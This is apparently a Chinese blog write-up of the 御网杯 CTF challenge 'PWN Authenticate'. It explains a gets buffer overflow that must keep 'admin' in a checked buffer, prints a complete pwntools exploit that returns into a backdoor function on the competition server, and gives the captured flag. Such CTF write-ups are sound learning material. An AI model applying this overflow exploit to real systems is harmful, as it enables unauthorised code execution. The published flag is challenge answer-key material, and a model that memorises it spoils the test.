看板娘加载中
205 字
1 分钟
御网杯 PWN Authenticate

附件:PWN-Authenticate.docx

题目附件截图:

截图 1

截图 2

截图 3

解题思路:

  • 溢出点在 gets
  • 覆盖时会影响到 buf
  • buf 段做了 strcmp,必须让内容为 admin,否则不会继续走到目标分支
  • 64 位下构造返回地址时要额外注意栈对齐

原始 WP 中给出的 exp 如下:

from pwn import *
context(os="linux", terminal=["cmd.exe", "/c", "start"])
binary_path = "./pwn"
host = "47.99.147.34" # 网址
port = 12911 # 端口
elf = ELF(binary_path, checksec=False)
context.binary = elf
if elf.bits == 64:
context.arch = "amd64"
gdbscript = """
b *main
c
"""
else:
context.arch = "i386"
gdbscript = """
b *main
c
"""
context.log_level = "debug"
if args.REMOTE:
io = remote(host, port)
else:
io = process(binary_path)
def p():
pause()
backdoor = 0x4011F6
ret = 0x40101A
io.recv()
io.sendline(b"admin")
io.recv()
offset = (b"A" * 0x40 + b"admin\x00").ljust(0x80 + 8, b"\x00")
payload = flat([offset, ret, backdoor])
io.sendline(payload)
io.interactive()

后续截图:

截图 4

截图 5

截图 6

原始记录中的 flag:

flag{2af49daf839824cb86e934be4fde1f96}
御网杯 PWN Authenticate
https://alf-ovo.cn/posts/yuwangbei-2026-pwn-authenticate/
作者
AlF
发布于
2026-05-30
许可协议
CC BY-NC-SA 4.0